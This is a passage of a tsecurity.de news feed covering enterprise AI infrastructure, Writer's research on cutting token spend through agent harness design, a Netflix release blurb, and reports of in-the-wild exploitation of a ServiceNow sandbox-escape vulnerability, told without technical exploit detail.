I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Heartstopper: Ending on a Hi release date and time on Netflix — how to stream movie 'companion' in the US, UK and Australia]]></title>
<description><![CDATA[You didn't think we were done with Heartstopper Forever, did you? What is Heartstopper: Ending on a Hi, and when does it arrive on Netflix?]]></description>
<link>https://tsecurity.de/de/3683108/it-nachrichten/heartstopper-ending-on-a-hi-release-date-and-time-on-netflix-how-to-stream-movie-companion-in-the-us-uk-and-australia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683108/it-nachrichten/heartstopper-ending-on-a-hi-release-date-and-time-on-netflix-how-to-stream-movie-companion-in-the-us-uk-and-australia/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You didn't think we were done with Heartstopper Forever, did you? What is Heartstopper: Ending on a Hi, and when does it arrive on Netflix?]]></content:encoded>
</item>
<item>
<title><![CDATA[Exploitation of ServiceNow Vulnerability Seen Days After Disclosure]]></title>
<description><![CDATA[The ServiceNow AI platform vulnerability tracked as CVE-2026-6875 can be exploited for remote code execution.
The post Exploitation of ServiceNow Vulnerability Seen Days After Disclosure appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3683073/it-security-nachrichten/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683073/it-security-nachrichten/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/</guid>
<pubDate>Tue, 21 Jul 2026 10:54:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The ServiceNow AI platform vulnerability tracked as CVE-2026-6875 can be exploited for remote code execution.</p>
<p>The post <a href="https://www.securityweek.com/exploitation-of-servicenow-vulnerability-seen-days-after-disclosure/">Exploitation of ServiceNow Vulnerability Seen Days After Disclosure</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ServiceNow’s sandbox escape RCE hole now exploited in the wild]]></title>
<description><![CDATA[A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused. 



The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceN...]]></description>
<link>https://tsecurity.de/de/3682156/it-security-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682156/it-security-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</guid>
<pubDate>Mon, 20 Jul 2026 22:53:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to <a href="https://x.com/defusedcyber/status/2078418391321219448" target="_blank" rel="noreferrer noopener">a report from threat intel firm Defused</a>. </p>



<p class="wp-block-paragraph">The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”</p>



<p class="wp-block-paragraph">Defused CEO <a href="https://www.linkedin.com/in/simokohonen" target="_blank" rel="noreferrer noopener">Simo Kohonen</a>, in an interview with CSO Online, noted that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see. </p>



<p class="wp-block-paragraph">“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”</p>



<p class="wp-block-paragraph">However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.” </p>



<p class="wp-block-paragraph">In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations. </p>



<p class="wp-block-paragraph">“ServiceNow is aware of a cybersecurity company’s recent publication regarding exploitation activity associated with a previously disclosed security vulnerability, identified as <a href="https://support.servicenow.com/kb/kb/kb/kb?id=kb_article_view&amp;sysparm_article=KB3137947" target="_blank" rel="noreferrer noopener">CVE-2026-6875</a>. Based on our investigation to date, we have not observed evidence that this activity is related to instances that ServiceNow hosts,” the emailed statement said. “We have provided updates and patches designed to address this issue, and we encourage our self-hosted and ServiceNow-hosted customers to apply the relevant patches if they have not already done so.”</p>



<h2 class="wp-block-heading">A ‘repeatable failure point’</h2>



<p class="wp-block-paragraph">Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years. </p>



<p class="wp-block-paragraph">“The vulnerability lets an attacker bypass ServiceNow’s scripting sandbox entirely, and researchers are now seeing exploitation using a different technique than the one originally published, which means signature-based defenses built on the first proof of concept are unlikely to catch every variant,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. </p>



<p class="wp-block-paragraph">“A compromise that starts in the cloud tenant can end up inside the corporate network, turning a SaaS incident into an on-premises one,” he pointed out. “And because ServiceNow frequently houses HR records, CMDB asset data, and the ticketing system itself, an attacker sitting inside it may have visibility into how the incident response team is tracking the incident.”</p>



<p class="wp-block-paragraph">Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies. </p>



<p class="wp-block-paragraph">“Enterprises outsource patching for platforms like ServiceNow to the vendor, but keep the risk that comes from what those platforms touch: HR records, CMDB inventories, and now on-premises systems through MID Server integration. Control sits with the vendor, liability sits with the enterprise, and that mismatch argues for treating core SaaS platforms as part of the internal attack surface, not externalized vendor risk,” he said, noting that as vendors embed more AI-driven scripting into their platforms, the sandbox boundary becomes “a repeatable failure point.” </p>



<p class="wp-block-paragraph">Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue. </p>



<p class="wp-block-paragraph">“The significance is not that ServiceNow had a critical bug, so much as the fact that the bug is a sandbox escape in the AI Platform, which means the containment layer specifically built to run untrusted AI-driven code safely is the thing that failed,” he said. “CISOs have been told repeatedly that the sandbox is what makes enterprise AI safe to deploy, but we’re now seeing the sandbox breaking and that should reframe how CISOs think about every feature sitting behind a similar wall.”</p>



<h2 class="wp-block-heading">Addition of AI increases blast radius</h2>



<p class="wp-block-paragraph">This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.</p>



<p class="wp-block-paragraph">“Enterprises are bolting AI onto their most privileged systems of record faster than anyone is updating the threat models for those systems, and the AI layer is becoming the softest part of the hardest targets,” Kenney said. “The real question for a CISO is how many of your critical platforms shipped an AI feature in the past year, and whether a single person in your organization can tell you what that did to the pre-auth attack surface. Most cannot, and that is the actual exposure.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.</p>



<p class="wp-block-paragraph">“A vulnerability that gives an attacker a foothold in the ServiceNow instance is now also a vulnerability that gives them access to whatever AI agents are running inside that instance, along with any capability tokens, service accounts, or delegated permissions those agents hold,” Mahapatra said. “The blast radius of a ServiceNow compromise in 2026 is meaningfully larger than the same compromise would have been in 2023, and most enterprise security programs have not caught up to that shift.”</p>



<p class="wp-block-paragraph">Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure. </p>



<p class="wp-block-paragraph">“Nothing is foolproof, and having a sandbox is better than not having one,” he said. “But the belief that a sandbox removes all of the risk is incredibly dumb,” especially in the reality of today’s threat landscape, which contains “an endless conveyor belt of exploits.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ServiceNow’s sandbox escape RCE hole now exploited in the wild]]></title>
<description><![CDATA[A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused. 



The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceN...]]></description>
<link>https://tsecurity.de/de/3682130/it-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682130/it-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</guid>
<pubDate>Mon, 20 Jul 2026 22:47:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to <a href="https://x.com/defusedcyber/status/2078418391321219448" target="_blank" rel="noreferrer noopener">a report from threat intel firm Defused</a>. </p>



<p class="wp-block-paragraph">The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”</p>



<p class="wp-block-paragraph">Defused CEO <a href="https://www.linkedin.com/in/simokohonen" target="_blank" rel="noreferrer noopener">Simo Kohonen</a> noted in an interview that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see. </p>



<p class="wp-block-paragraph">“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”</p>



<p class="wp-block-paragraph">However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.” </p>



<p class="wp-block-paragraph">In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations. </p>



